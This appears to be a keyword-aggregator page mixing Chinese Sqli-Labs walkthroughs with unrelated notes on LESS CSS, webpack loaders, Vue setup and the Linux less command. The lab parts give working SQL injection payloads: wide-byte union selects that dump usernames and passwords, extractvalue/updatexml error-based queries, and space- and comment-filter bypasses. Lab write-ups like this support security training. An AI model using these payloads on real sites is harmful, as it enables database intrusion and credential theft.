less

Sqli-Labs 闯关 less 32-41

我的未来我决定 提交于 2020-02-11 20:56:21
Less 32 这一关涉及到了一个新的知识点——宽字节注入。 GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象,即将两个ascii字符误认为是一个宽字节字符。 具体可参考链接:https://blog.csdn.net/helloc0de/article/details/76180190 URL编码的解码网站: http://www.mytju.com/classcode/tools/urldecode_gb2312.asp 爆库:?id=-1%E6' union select 1,version(),database() --+ 'user'用十六进制编码替代, 爆列: ?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+ 爆用户名密码:?id=-1%E6' union select 1,2,group_concat(username,0x3b,password) from users--+ Less 33 这一关是使用函数过滤。而上一关用的是自定义过滤。

Less(13) POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

≯℡__Kan透↙ 提交于 2020-02-11 18:48:26
1.发现没有登录成功的返回信息,看来要盲注了    2.报错型:extractvalue()   (1)爆库:uname=admin') and extractvalue(1,concat(0x7e,(select database()))) and (' &passwd=admin&submit=Submit        (2)爆表:uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) and (' &passwd=admin&submit=Submit           (3)爆列名:uname=admin') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) and (' &passwd=admin&submit=Submit          因为没有咱们需要的password,username,把一些不需要的列名消除掉:uname=admin')

可紊 提交于 2020-02-11 12:14:54
1.Object.prototype.toString,可以准确地判断数值类型,返回值是一个字符串,固定格式[object 数值类型] ####一、如何在vue中配置less开发环境 1.npm安装less 使用的话在vue中有两种方式1.全局引入,2.在每一个组件style区域内加入lang=‘less’ 2.安装插件postcss-pxtorem 在npmvue项目安装后,vue2.x会在主配置文件出现.postcssrc.js,在其中配置 ,详情在qq浏览器的收藏里 ####二、码云上传项目的记录 正常流程一般会出现error: src refspec master does not match any. error: failed to push some refs to 'git@github.com:hahaha/ftpmanage.git’报错,详情见浏览器收藏码云,注意 git add .(.应该是代表全部) ####三、跨域问题(前端解决方案) ##1.jsonp方式,2.反向代理(利用了虚假服务器,有个坑,https得加secure: false,)3.cors,4.websocket 来源: CSDN 作者: TE杨 链接: https://blog.csdn.net/wron_path/article/details/104258620

孟欣 - less/scss引入公共文件,sass-resources-loader

时光总嘲笑我的痴心妄想 提交于 2020-02-10 20:28:40
sass-resources-loader 在前端项目中,比如用less/scss想要封装一个公共的文件,或统一引用一个公共变量会发现 在入口文件,引入或声明是无效的,用的时候还是会报错。 那么 sass-resources-loader 恰好解决了这个问题 它在打包的时候将资源放在每个文件中,而无需一一引用,例如: const loader = [ 'vue-style-loader', { loader: 'css-loader', options: { minimize: isProd } }, 'postcss-loader', 'sass-loader', { loader: 'sass-resources-loader', options: { resources: path.resolve(__dirname, '../src/common/common.scss') } } ] // webpack的module module: { rules: [ { test: /\.scss$/, use: isProd ? ExtractTextPlugin.extract({ use: loader, fallback: 'vue-style-loader' }) : loader } ] }, 来源: CSDN 作者: 孟欣的博客 链接: https://blog

Sqli-Labs 闯关 less 26-31

感情迁移 提交于 2020-02-10 15:34:06
Less 26 这一关我们发现跟前面的还不一样,看一下源代码,发现这关过滤了注释和空格的注入。 对于注释和结尾字符的我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法: %09 TAB键(水平) %0a 新建一行 %0c 新的一页 %0d return功能 %0b TAB键(垂直) %a0 空格 or可以用||替换 and可以用&& %26%26 注释符用;%00替代 方法一:updatexml报错注入 获得数据库:?id=0' || updatexml(1, concat(0x7e, database()) ,1) || '1'='1 爆表:?id=1' || updatexml(1, concat(0x7e, (select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))) ,1) || '1'='1 爆列:?id=1' || updatexml(1, concat(0x7e, (select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name='users'))) ,1) || '1'=

Linux学习之less命令

大城市里の小女人 提交于 2020-02-10 08:56:41
less 工具也是对文件或其它输出进行分页显示的工具,应该说是linux正统查看文件内容的工具,功能极其强大。less 的用法比起 more 更加的有弹性。在 more 的时候,我们并没有办法向前面翻, 只能往后面看,但若使用了 less 时,就可以使用 [pageup] [pagedown] 等按键的功能来往前往后翻看文件,更容易用来查看一个文件的内容!除此之外,在 less 里头可以拥有更多的搜索功能,不止可以向下搜,也可以向上搜。 1.命令格式: less [参数] 文件 2.命令功能: less 与 more 类似,但使用 less 可以随意浏览文件,而 more 仅能向前移动,却不能向后移动,而且 less 在查看之前不会加载整个文件。 3.命令参数: -b <缓冲区大小> 设置缓冲区的大小 -e 当文件显示结束后,自动离开 -f 强迫打开特殊文件,例如外围设备代号、目录和二进制文件 -g 只标志最后搜索的关键词 -i 忽略搜索时的大小写 -m 显示类似more命令的百分比 -N 显示每行的行号 -o <文件名> 将less 输出的内容在指定文件中保存起来 -Q 不使用警告音 -s 显示连续空行为一行 -S 行过长时间将超出部分舍弃 -x <数字> 将“tab”键显示为规定的数字空格 /字符串:向下搜索“字符串”的功能 ?字符串:向上搜索“字符串”的功能 n

LESS mixin - Output values without quotes

余生长醉 提交于 2020-02-10 04:07:45
问题 I am trying to write a LESS mixin with multiple input parameter values for CSS transforms. The input values are the type of transformation to be done and the value associated with the transformation. For example, consider the code given below: .transform(@type; @value){ } If I give input as type='rotateY' and value='360deg' , the output should be transform: rotateY(360deg) . I have tried the below options but none of them seem to be working (output is mentioned as comment). transform: "@{type

Linux:less 命令

血红的双手。 提交于 2020-02-09 11:19:56
less 工具也是对文件或其它输出进行分页显示的工具,应该说是linux正统查看文件内容的工具,功能极其强大。less 的用法比起 more 更加的有弹性。在 more 的时候,我们并没有办法向前面翻, 只能往后面看,但若使用了 less 时,就可以使用 [pageup] [pagedown] 等按键的功能来往前往后翻看文件,更容易用来查看一个文件的内容!除此之外,在 less 里头可以拥有更多的搜索功能,不止可以向下搜,也可以向上搜。 1.命令格式: less [参数] 文件 2.命令功能: less 与 more 类似,但使用 less 可以随意浏览文件,而 more 仅能向前移动,却不能向后移动,而且 less 在查看之前不会加载整个文件。 3.命令参数: -b <缓冲区大小> 设置缓冲区的大小 -e 当文件显示结束后,自动离开 -f 强迫打开特殊文件,例如外围设备代号、目录和二进制文件 -g 只标志最后搜索的关键词 -i 忽略搜索时的大小写 -m 显示类似more命令的百分比 -N 显示每行的行号 -o <文件名> 将less 输出的内容在指定文件中保存起来 -Q 不使用警告音 -s 显示连续空行为一行 -S 行过长时间将超出部分舍弃 -x <数字> 将“tab”键显示为规定的数字空格 /字符串:向下搜索“字符串”的功能 ?字符串:向上搜索“字符串”的功能 n

Sqli-labs ”1~30关“——宝典

浪尽此生 提交于 2020-02-08 23:35:18
写在前面: 1.information_schema:为自带数据库 table_schema:数据库名 table _name:数据表名 column_name:字段名 2.闭合方式:单引号——' --+ 双引号——" --+ 单引号和括号——') --+ 双引号和括号——")——--+ 3.注意!输入法英文英文英文! 空格小心遗漏! 闭合符号小心遗漏! **Less-1** ——>1: 我们首先判断闭合方式,输入/?id=1 页面正常;然后输入/?id=1’ --+判断为单引号闭合。 ——>2.:接着我们用order by 查询字段数 ,如果我们输入的字段数多于数据库的字段数,数据库会返回错误的信息,以此类推,直至猜测到正确的字段数。(本关有三个字段) ——>3.:然后我们用union进行联合查询 ,语句为:/?id=0’ union select 1,2,3–+ ,需要注意的是,我们要输入一个不存在的ID,使得前面的语句错误为空,然后显示后面的语句信息。接着查询本地数据库,语句为:/?id=0’ union select 1,(select database()),3–+ 。查询所有数据库:/?id=0’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3–+

Overide bootstrap base class attributes in less and meteor

别来无恙 提交于 2020-02-08 07:24:36
问题 I am trying to change the behaviour of a bootstrap class in my meteor code and have naively tried the following. In my html I have added a class tb-sponsor to the div class list <div class="col-md-8 column tb-sponsor"> <h4> <strong>Papallo Kitchen & Joinery</strong></h4> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Aenean enim diam, imperdiet et sem nec. </div> and in the tb.less file added .tb-sponsor{ .h4 { color: @tb-color; } } to try and change the color of the h4. Nothing